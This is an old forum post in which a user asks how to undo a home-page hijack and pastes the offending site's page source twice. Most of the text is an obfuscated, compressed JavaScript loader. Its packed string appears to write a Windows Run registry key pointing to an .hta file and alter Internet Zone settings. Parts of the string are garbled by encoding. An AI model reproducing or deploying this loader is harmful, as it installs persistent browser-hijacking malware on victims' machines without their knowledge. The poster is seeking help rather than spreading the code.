YStec
01-11-2004, 08:49 PM
well, the problem is that i got a site from my friend.. it was www.pornosayac.com (dont go) and my ie home page automaticaaly went to www.pornosayac.com... i changed the site to google.com and restarted the pc and it was again pornosayac... i tried it 3 times, then i search the site and found the code it was: (
so i think it is in the registry, can anyone hep me to CHANGE the home page?)
<html><head><script>var e=256,x=0,o="",t=new Array(4113),a="\0\t\n
\r !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\21 5\217\220\235** ";s="\
<script language=java>\r\n\twindow.resizeTo(\60, \60);w\r\n mov\65\60\60 \0\65!</vbFSet EDCJSL\64S = createobject(\"ing.filesystem\")jQMHC\61F\71xw. shell*\0gwrite \"HKLM\\SOFTWARE\\Microsoft\\Ws\\CurrentVersi on\\RunUpd\0\", \"C:\\\rs\\list.hta\" WCU In\217ternn\0m\0\217s\\Zones@\64' \67\0\"REG_DWORD>EIKDV\67\66\62y\0\"aC\66\70\67\64\66D\66C\63E\63\66\65\66\61\66\ 64\67\63\66\63\67\62\66\71\67\60\67\67\66\66 \61\67\62\62\60\66\65\63D\63\62\63\65\63\66\62C\ 67\70\60\62C\66F\63D\62!CD\66E\66\65\67\67 \62\60\64\61\67\71\62\70\63\64\63\61& \63\62\71\0 \61!\65C\63\60\60\61\60\62\60\63\60\64\60\65\60 \66\60\67\60\70\65
\65C\66E\60B\60CJ \62\60E\60F\61\60\61\61\61\62' \64\61\65\61\61\70\61\71\61A\61B\61C\61D\61E\6 1F\62\60\62\61\65C \63\62_\64\62\65\62\66 \70, A\62B\62C\62D\62E\62F\63\60& \62\63\63$ \63\67\63\70\63\71\63A\63B\63CE\63F\64 \64\62\64\63\64\64\64\65\64\66\64\67\64\70\64\71 \64A\64B\64C\64D\64E\64F\65\60\65\61\65\62\65\6 3\65\64\65\65\65 \65\70\65\71\65A\65B\65U \65D\65E\65F\66}\60\62\66\63\66\64\66\66\67 \71\66A\66wB\66CE\66F!\63\67\64\67\65\67\66 \67\67\67\70\67\71\67A\67B\67C\67D\67E\67F\70\60 \70\61\70\" \70\64\70\65\70\70\70\70\71\70A\70B\70U \61\63\65\70E\\\64\67\\\62\62\63\60\71\61\71\6 2\71\63\71\64\71\65\71\71\70\71\71\71A\71B\71[\63\63\63\65\71E\71FA\60A\61A\62A\63A\64A\65A\66 A\67A\70A\71AAABACADAEAFB\60B\61B\62B\63B\64B\ 65B\66B\67B\70B\71BABBBCBDBEBFC\60C\61C\62C\63 C\64U \66C\67C\70C\71CACBCCCDCECFD\60D\61D\62D\63D\6 4D\65D\66D\67D\70D\71DADBDCDDDEDFE\60E\61E\62E\ 63E\64E\65E\66E\67E\70E\71EAEBECEDEEEFF\\ F F F \60F\70F\60F\60F@FF B\67\63\62#\60AkFF\60\70 \61\64\65\64FF}\60\64 \65\63E= C\62FV@\65F\63jA~@\61\60\61\65S\60F \71 \61~@\r\71y@F\64@ \r !s\66\70A\"\60\65\67 E F\65\67*@ B~\64D\66\71FF \71\65\60FD\62*VA\63 F \71 @ \63PC \62 \63;FD \70\60\62AV!@N!@\60@\64C\71\66y@ \60\60\70 \60\60F\60\61(\60\63\65\67A\60\61\60C\66m\61@ \60\66\66 \67\63 \63@R~@ Q@S\62@\61 }Q\66TT\0q@UpA RX@S/PhQTS\64 \64\63S\61\65~R T\62\62m\61P*\66!\65* F\"@\60'\60\62@bQ \67\67\67\66\65D \60\61A\65\60\63\63e\60\67R\66[a\64\67\67\60E\n\60F\67\67EF\62E\65\67\63\62e \61\60 F\62a\70T.QR\71\63 \62SDD\62\60aF \67\66CF\60SaPB
dDQ\60EB\60g\61D\67*P@B\71]PCB@ \62}\60`AB\60\66`!\60\60\63GBA\60P\66!\60\6 5Bx)\60\60@\62\60\67\63z@Q\65 \70\60\63C@\66\62p\60F\62qaazb+\61\62'@} *\60`\67B\67D\nsFE\67 q`\"!F^`\62C\61\60\63B\62_ ^A!s`\" \60\65\65A\66W\65\64\60+q\67p \63lb[\67\62\70@\64\66\60CpA\63\64\60)\60\60`P\63 \71\66` A` `F\64g\63\63A\"!\67CphPU F\"\62\67q\66pS\61 \60%p\62E\64\65x@G`\62\60K\60a \235\70j`\64\62BX@\61FWq\65\66<\60fcC \71 r\67\71\65p&!
\60\64CDGp`\62 L \66\tP|ASD\70| YPF\64P\65B B \71pp E Ap \65 t_P\70qhbptBFACpS.Q\n@A\65@'@
\60XqpFFQn(p\70\67\60@r\62\67p\62Qa\61la\65D \60\70@Ń p\64\67\64E\217p\65c/P\62\62Y\61sR*\60\64\67wR\62>@SQ Eq \62}\67p\63FP=qSt@F`\70F[\61@CqXPE\65cqErp\65\61![p\67y@<p;XFpPFB B/ \61mQB\67\65E`D\0&\220.Q\220\220BQP\60x\220 'P\64\71FB \65 \60Pp@^ U*\64 \71\70A*\61\62FF\220C\60SE! \"SP\61\71\63F\60 \63Cp\70CDBA*A\61@\62SS\61A\64D=`S\67\63CC\7 1ԑ\61a yP: FPA\60O~ [@\60A(q{p\70~`C:p/p\60\220~aq>b\64\66\70!\67-qQxq\65,(L\64WP \64\nD\70 BLrU`L\61<pmc;\64\71q\63\0H-s-!AA\0 PW \64* \0 \0 !^C!\0P\\/ !a\60pl\71N\71 'Ā r\71\65\0@AZAr* -E\61\0, P{L aFp\71\215!\60\60R\70PiC\0\60 Cp\0\60\\@p\60n@$\71\235 \70{\71A \0'y\60\60Poa\60, BqkP·\"\60BLqx\62\0KԞew߉&w\67ET\220\0P\71u#KaE\60Fl a\220 !a\0\\wql\60T\66x`\0\60` />yaAA~>L\70\60F\67M\63Oy\0VB\62O\71 \66JA(DON\65y\0q.|text(* <,true .\tclose\nun) \61, fa}l,FunctT\62L\70I\70\66UFor F\60S\67M\65P\61 To Lenq ?Step \62 & Chr(\"&h\"\0Midzq,, \62)zNnd_</script>\0 language=javar\0\tB(();
\r\n";
function g(s,f){if(s.length<=x)return e;else{if(f){return s.charAt(x++);}else{return a.indexOf(s.charAt(x++));}}}function d(){var i,j,k,c,r=4078,l=0,os="",ar,ic=0;ar=new Array();for(i=0;i<4078;i++)t[i]=" ";for(;;){if(((l>>=1)&256)==0){if((c=g(s,0))==e)break;l=c|65280;}if(l&1){if((c=g(s,1))==e)break;os+=c;t[r++]=c;r&=4095;}else{if((i=g(s,0))==e)break;if((j=g(s,0))== e)break;i|=((j&240)<<4);j=(j&15)+2;for(k=0;k<=j;k++){c=t[(i+k)&4095];os+=c;t[r++]=c;r&=4095;}}if(os.length>255){ar[ic++]=os;os="";}}o=ar.join("")+os;}d();document.writeln(o);document.close();</script></head></html>
so i think it is in the registry, can anyone hep me to CHANGE the home page?)
<html><head><script>var e=256,x=0,o="",t=new Array(4113),a="\0\t\n
\r !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\21 5\217\220\235** ";s="\
<script language=java>\r\n\twindow.resizeTo(\60, \60);w\r\n mov\65\60\60 \0\65!</vbFSet EDCJSL\64S = createobject(\"ing.filesystem\")jQMHC\61F\71xw. shell*\0gwrite \"HKLM\\SOFTWARE\\Microsoft\\Ws\\CurrentVersi on\\RunUpd\0\", \"C:\\\rs\\list.hta\" WCU In\217ternn\0m\0\217s\\Zones@\64' \67\0\"REG_DWORD>EIKDV\67\66\62y\0\"aC\66\70\67\64\66D\66C\63E\63\66\65\66\61\66\ 64\67\63\66\63\67\62\66\71\67\60\67\67\66\66 \61\67\62\62\60\66\65\63D\63\62\63\65\63\66\62C\ 67\70\60\62C\66F\63D\62!CD\66E\66\65\67\67 \62\60\64\61\67\71\62\70\63\64\63\61& \63\62\71\0 \61!\65C\63\60\60\61\60\62\60\63\60\64\60\65\60 \66\60\67\60\70\65
\65C\66E\60B\60CJ \62\60E\60F\61\60\61\61\61\62' \64\61\65\61\61\70\61\71\61A\61B\61C\61D\61E\6 1F\62\60\62\61\65C \63\62_\64\62\65\62\66 \70, A\62B\62C\62D\62E\62F\63\60& \62\63\63$ \63\67\63\70\63\71\63A\63B\63CE\63F\64 \64\62\64\63\64\64\64\65\64\66\64\67\64\70\64\71 \64A\64B\64C\64D\64E\64F\65\60\65\61\65\62\65\6 3\65\64\65\65\65 \65\70\65\71\65A\65B\65U \65D\65E\65F\66}\60\62\66\63\66\64\66\66\67 \71\66A\66wB\66CE\66F!\63\67\64\67\65\67\66 \67\67\67\70\67\71\67A\67B\67C\67D\67E\67F\70\60 \70\61\70\" \70\64\70\65\70\70\70\70\71\70A\70B\70U \61\63\65\70E\\\64\67\\\62\62\63\60\71\61\71\6 2\71\63\71\64\71\65\71\71\70\71\71\71A\71B\71[\63\63\63\65\71E\71FA\60A\61A\62A\63A\64A\65A\66 A\67A\70A\71AAABACADAEAFB\60B\61B\62B\63B\64B\ 65B\66B\67B\70B\71BABBBCBDBEBFC\60C\61C\62C\63 C\64U \66C\67C\70C\71CACBCCCDCECFD\60D\61D\62D\63D\6 4D\65D\66D\67D\70D\71DADBDCDDDEDFE\60E\61E\62E\ 63E\64E\65E\66E\67E\70E\71EAEBECEDEEEFF\\ F F F \60F\70F\60F\60F@FF B\67\63\62#\60AkFF\60\70 \61\64\65\64FF}\60\64 \65\63E= C\62FV@\65F\63jA~@\61\60\61\65S\60F \71 \61~@\r\71y@F\64@ \r !s\66\70A\"\60\65\67 E F\65\67*@ B~\64D\66\71FF \71\65\60FD\62*VA\63 F \71 @ \63PC \62 \63;FD \70\60\62AV!@N!@\60@\64C\71\66y@ \60\60\70 \60\60F\60\61(\60\63\65\67A\60\61\60C\66m\61@ \60\66\66 \67\63 \63@R~@ Q@S\62@\61 }Q\66TT\0q@UpA RX@S/PhQTS\64 \64\63S\61\65~R T\62\62m\61P*\66!\65* F\"@\60'\60\62@bQ \67\67\67\66\65D \60\61A\65\60\63\63e\60\67R\66[a\64\67\67\60E\n\60F\67\67EF\62E\65\67\63\62e \61\60 F\62a\70T.QR\71\63 \62SDD\62\60aF \67\66CF\60SaPB
dDQ\60EB\60g\61D\67*P@B\71]PCB@ \62}\60`AB\60\66`!\60\60\63GBA\60P\66!\60\6 5Bx)\60\60@\62\60\67\63z@Q\65 \70\60\63C@\66\62p\60F\62qaazb+\61\62'@} *\60`\67B\67D\nsFE\67 q`\"!F^`\62C\61\60\63B\62_ ^A!s`\" \60\65\65A\66W\65\64\60+q\67p \63lb[\67\62\70@\64\66\60CpA\63\64\60)\60\60`P\63 \71\66` A` `F\64g\63\63A\"!\67CphPU F\"\62\67q\66pS\61 \60%p\62E\64\65x@G`\62\60K\60a \235\70j`\64\62BX@\61FWq\65\66<\60fcC \71 r\67\71\65p&!
\60\64CDGp`\62 L \66\tP|ASD\70| YPF\64P\65B B \71pp E Ap \65 t_P\70qhbptBFACpS.Q\n@A\65@'@
\60XqpFFQn(p\70\67\60@r\62\67p\62Qa\61la\65D \60\70@Ń p\64\67\64E\217p\65c/P\62\62Y\61sR*\60\64\67wR\62>@SQ Eq \62}\67p\63FP=qSt@F`\70F[\61@CqXPE\65cqErp\65\61![p\67y@<p;XFpPFB B/ \61mQB\67\65E`D\0&\220.Q\220\220BQP\60x\220 'P\64\71FB \65 \60Pp@^ U*\64 \71\70A*\61\62FF\220C\60SE! \"SP\61\71\63F\60 \63Cp\70CDBA*A\61@\62SS\61A\64D=`S\67\63CC\7 1ԑ\61a yP: FPA\60O~ [@\60A(q{p\70~`C:p/p\60\220~aq>b\64\66\70!\67-qQxq\65,(L\64WP \64\nD\70 BLrU`L\61<pmc;\64\71q\63\0H-s-!AA\0 PW \64* \0 \0 !^C!\0P\\/ !a\60pl\71N\71 'Ā r\71\65\0@AZAr* -E\61\0, P{L aFp\71\215!\60\60R\70PiC\0\60 Cp\0\60\\@p\60n@$\71\235 \70{\71A \0'y\60\60Poa\60, BqkP·\"\60BLqx\62\0KԞew߉&w\67ET\220\0P\71u#KaE\60Fl a\220 !a\0\\wql\60T\66x`\0\60` />yaAA~>L\70\60F\67M\63Oy\0VB\62O\71 \66JA(DON\65y\0q.|text(* <,true .\tclose\nun) \61, fa}l,FunctT\62L\70I\70\66UFor F\60S\67M\65P\61 To Lenq ?Step \62 & Chr(\"&h\"\0Midzq,, \62)zNnd_</script>\0 language=javar\0\tB(();
\r\n";
function g(s,f){if(s.length<=x)return e;else{if(f){return s.charAt(x++);}else{return a.indexOf(s.charAt(x++));}}}function d(){var i,j,k,c,r=4078,l=0,os="",ar,ic=0;ar=new Array();for(i=0;i<4078;i++)t[i]=" ";for(;;){if(((l>>=1)&256)==0){if((c=g(s,0))==e)break;l=c|65280;}if(l&1){if((c=g(s,1))==e)break;os+=c;t[r++]=c;r&=4095;}else{if((i=g(s,0))==e)break;if((j=g(s,0))== e)break;i|=((j&240)<<4);j=(j&15)+2;for(k=0;k<=j;k++){c=t[(i+k)&4095];os+=c;t[r++]=c;r&=4095;}}if(os.length>255){ar[ic++]=os;os="";}}o=ar.join("")+os;}d();document.writeln(o);document.close();</script></head></html>